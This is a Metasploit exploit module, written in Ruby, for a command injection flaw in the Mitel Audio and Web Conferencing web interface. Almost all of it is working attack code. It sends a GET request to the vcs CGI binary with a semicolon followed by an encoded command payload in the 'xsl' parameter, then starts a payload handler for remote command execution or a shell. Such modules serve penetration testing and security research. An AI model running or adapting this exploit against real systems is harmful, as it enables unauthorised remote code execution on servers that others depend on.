Mitel Audio and Web Conferencing - Command Injection



##

# $Id: mitel_awc_exec.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Mitel Audio and Web Conferencing Command Injection',
            'Description'    => %q{
                    This module exploits a command injection flaw within the Mitel
                Audio and Web Conferencing web interface.
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11516 $',
            'References'     =>
                [

                    ['URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-14'],
                    ['OSVDB', '69934'],
            #        ['CVE',   ''],
            #        ['BID',   '']
                ],
            'Platform'       => ['unix', 'linux'],
            'Arch'           => ARCH_CMD,
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 1024,
                    'BadChars'    => "<>",
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Targets'        => [ ['Automatic', { }], ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Dec 12 2010'
            ))

        register_options(
            [
                Opt::RPORT(80),
                OptString.new('URIPATH', [ true,  "The path to the vcs cgi-bin binary", "/awcuser/cgi-bin/vcs" ])
            ], self.class)
    end

    def exploit
        print_status("Attempting to execute our command..")

        res = send_request_cgi(
            {
                'uri'          => datastore['URIPATH'],
                'method'       => 'GET',
                'vars_get'     => {
                    'xml' => 'withXsl',
                    'xsl' => ';' + payload.encoded
                }
            }, 10)

        if res and res.code.to_i > 200
            print_error("Unexpected reply: #{res.code} #{res.body[0,500].inspect}...")
            return
        end

        handler
    end

end